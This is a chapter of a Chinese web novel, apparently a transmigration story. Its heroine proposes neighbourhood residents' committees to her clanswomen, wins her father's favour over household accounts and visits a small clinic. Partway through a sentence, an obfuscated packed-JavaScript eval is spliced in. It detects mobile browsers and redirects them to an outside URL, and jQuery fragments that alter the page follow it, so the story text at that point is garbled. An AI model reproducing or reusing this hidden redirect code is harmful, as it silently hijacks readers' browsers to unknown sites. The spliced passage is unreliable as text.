15. 成立居委会

最近京中连日大雨,老房破损,被冲毁也是正常。


她们所在的升平坊,最好的三间大宅住着窦家三个兄弟,前街后巷几乎全都占亲带故,吃着祖先的份例,竟也出现这种破损的情况,窦苒苒就有些不能理解。


“难道没人修膳吗?”


三婶为难道:“东边房子塌了的那家我知道,是你三叔的奶兄,当年看在他奶娘的面上放了奴籍参了军,你三叔怕他娘没人照顾,给他说了媳妇儿,又给了那间屋子养老,本已经跟咱们家没一点关系了,谁知那媳妇跟人跑了,扔下个孙女和老太太在家,可能是年纪大了,没那些精力。”


“她儿子在军里,也不算穷,只是没个出力的人罢了。”


六堂婶也道:“姑太太说的那后巷,可不就是我家那道街,年年修年年损,府里来往车马都走那里,从前你亲娘在的时候,倒是想着拿公中的钱修路,新夫人掌家后也渐渐不提了。”


“我们那后巷,住着的都是窦家旁支和跑外的下人,你也知道,我们都是小门小户,日子不如本家那样风光,还要省吃俭用贴补过不下去的亲族,哪里有那个闲钱时时修膳?不过是各人自扫门前雪罢了。”


其他几人嗟叹,“谁说不是,皇帝还有三房穷亲戚,日子都要过不下去,还能硬要求人家修好门前的路吗?”


从前窦苒苒只走前门和角门,对升平坊其他的地方只是听说,并没亲眼见过,如今看来,也只就她家门前那一块地方表面光。


一边往小嘴儿里塞葡萄,她一边顺口道:“这不都是居委会该干的事吗?”


“居委会?”众夫人交头接耳,怎么又是一个她们听都没听过的词儿?


“你别卖关子,可是又有什么鬼主意?快快说来。”


窦苒苒擦了擦手,言简意赅地解释了居委会的概念。


“咱们可以以所住区域划分成立居委会,选举居民委员,不苟与咱们家有没有关系,所有居民都可以参与进来,大家整合资源,一起解决居住问题。”


夫人们听了还是糊涂,“这能解决什么问题?”


窦苒苒举例道:“比如像后巷修路之类的问题,本该是公中出钱,可太太疏忽把事忘了,居委会可以代替大家提出要求;再比如发放份例,有面子的人家到了日子份例就会主动送上,像承隆家里那样败落的连门也进不去,若是有了居委会,便可以按季将管辖内的宗亲份例一并领来,一同发放,这样夫人那里不会给了这家忘了那家,宗亲也都能领到钱,岂不省了很多力气?”


“再比如修膳房屋,也可以各家拿出钱来,由居委会找来工匠统一修理,居民里有那找不到生计的,可以出力承担公共区域的工事卫生赚点工钱,像三叔奶兄家那种有钱却没劳动力的,也不怕老无所依,这样居民自治,不就全都解决了?”


众人听了,心中全都豁然开朗,拍手称赞。


这些夫人太太都是家中主妇,平常除了串门子聊八卦,生活百无聊赖,如今有了这个主意,既有事做又能帮助邻里改善周围环境,哪有不乐意的?这个说我家住后巷,回去我就跟邻居们说,我们就是后巷居委会,那个说东院这边我来负责,我们是东院居委会,讨论的热火朝天。


几人议定章程,回去便行动起来,窦苒苒回来还在兴奋,将自己能记得的居委会规章制度全都口述出来,叫夏安写下。


她居然在古代成立了一个居委会,想想都觉得自己好厉害。


其实居委会的作用肯定不只她说的那些,只是其他的现在还用不到,她便没提。


可将来呢?若是这样发展下去,她是不是也能为这个时代的百姓做些什么?


拿着写下的章程,窦苒苒心里充满希望,夏安虽不明所以,也不多问,将今日在厨房的结算结果说给她听。


“这样算下来,咱们府里一个月能省五六十两银子。”


秋喜撇嘴道:“我当新夫人只是放利钱,原来还有这些猫腻,这不比当个官老爷还有赚头?”


窦苒苒抱着小花狸子坐在案边,小短腿晃呀晃地听着夏安算账,忽然叹道:“可惜咱们是过路财神,还是没钱。”


秋喜也支着下巴叹气,“听常妈妈说,当年夫人嫁过来的时候,红妆十里,嫁妆单子那么老长,竟是一样也不在咱们手里。”


夏安拍了下她的脑袋,“别胡说,夫人给大小姐留了嫁妆的。”


窦苒苒眼睛一亮,问道:“我娘给我留了嫁妆吗?放哪儿了?”


“这些事奴婢也不知道,”夏安很懊恼,“要是常妈妈在就好了。”


常妈妈是窦苒苒奶娘,当初以年事已高,窦苒苒也大了为由被季氏赶出窦家,她们只知道是被儿子接出去享福了,却不知下落何处。


如此想来,季氏当初将原主身边人全部换掉,不一定只是为了孤立她,或许还有别的目的?


晚膳时,窦远问:“今日都做什么了?”


窦苒苒便将她在厨房里如何施为的事会声会影说了一遍。


“你做的不错。”窦远连连点头,听到一个月可省下五六十两银子时,不由惊异地看向季氏。


“这都是母亲教的好,想是她府务缠身,不能面面俱道,这才让那些菜商钻了空子。”窦苒苒连忙卖好。


窦远却哼道:“那些大府宅的夫人哪个府务少了?就这么点家业都管不明白,还不是无能?”


季氏慌的放下筷子站起身,低垂的眼睫下恨意涌动,却是一句话不敢反驳。


窦苒苒道:“许是其他府里都有媳妇妯娌帮衬?还是女儿们不立事,让母亲操劳的过错。”


窦远皱着眉,没考上功名前,他家里算不上富裕,若不是妻族相帮也未必会有今天,如今官居四品,一年的俸禄不过一百五十两,听说浪费了这么多银子,哪能不心疼?


跟原配比起来,季氏还是差得远了。


可事已如此,多说无益,他只能淡淡对季氏道:“苒苒这样懂事,也算对得起你平日教导,这件事她办的很好,以后府中事物可以叫她


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15170036|164834||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


多帮你分担些。”


季氏早从房妈妈口中听说厨房的事,恨得牙痒痒,又自知理亏,不敢在老爷面前提起,谁知窦苒苒竟跑来邀功,明着是帮她说话,实则又告了她一状。


窦苒苒是她亲手养废,有几斤几两她比谁都清楚,别说管家,除了脾气越来越大,人越来越蠢,琴棋书画,针黹女红样样不行。


她本想将厨房交给她,借机找她错处赶出厨房,谁知不过半天,那死丫头就雷厉风行的将她财路断了,她哪来的这么深城府?


那半年里,窦苒苒到底发生了什么?季氏虽心有怀疑,此时也只能皮笑肉不笑的应下。


“说到这个,还有一事。”窦苒苒借着话头,将白日里在三婶府中的听闻与居委会的事也说与父亲。


“这都是你想出来的?”饶是窦远在朝为官,也从没听过这样实务的见解,越听越是满面红光,骄傲地看着女儿。


没想到她竟如此聪慧,以前是他忽略了她,若是好好教导,将来也许真能成为他的一大助力。


【叮!老父亲为你打call,亲情值+10,您当前亲情值为:35】


*


被关了几日禁足,又搞定家中诸事,窦苒苒终于有空出府,亲自来乐儿家接她。


“小姐叫人知会一声便是,何必亲自来?”乐儿提着早就准备好的小包袱爬上马车。


她早从张成口中听说小姐安排她父亲进府学车把式的事,此时对她只有感激,哪里还有怨恨,只是她性子太犟,嘴上说不出一个谢字。


“家里安排好了?你出来了,你母亲怎么办?”窦苒苒问。


“娘能自己煮饭吃药,也能做些针黹女红,只是出门就喘,夜里爹就回来了。”说到此,她满脸通红,费了个牛劲也只是憋出一句,“小姐不必担心。”


窦苒苒早就发现她这性子,非但不觉无礼,反而觉得这小姑娘耿直可爱,憋着笑又问:“药钱还欠多少?”


乐儿便不出声。


小姐已经为她费了许多心思,她不能再麻烦她。


看来是还没还上,窦苒苒叫张成,“去上次还钱的那家医馆。”


“不用您还,等我领了工钱,自己会还。”乐儿急道。


“不相干,先去看看。”窦苒苒苦笑,其实她也没钱了。


乐儿不说实话,她只能亲自去问问,心里有数,再慢慢想办法。


宝济堂离东市不远,看门脸规模,只是间给穷苦人看病的小医馆,乐儿阻拦不住,只能随着她进去。


一行人进得堂内,才发现这间医馆生意并不好,几乎没什么客人,只有一位年轻大夫坐堂。


见来了生意,那大夫连忙起身相迎,看到窦苒苒的时候,明显愣了一下。


他看上去不过二十出头,气质文雅,仪表堂堂,与这间医馆格格不入,这让窦苒苒有些意外,忍不住多打量了几眼。


年轻大夫却突然冷了神情,“你怎么来了?”


“咦?你认识我吗?”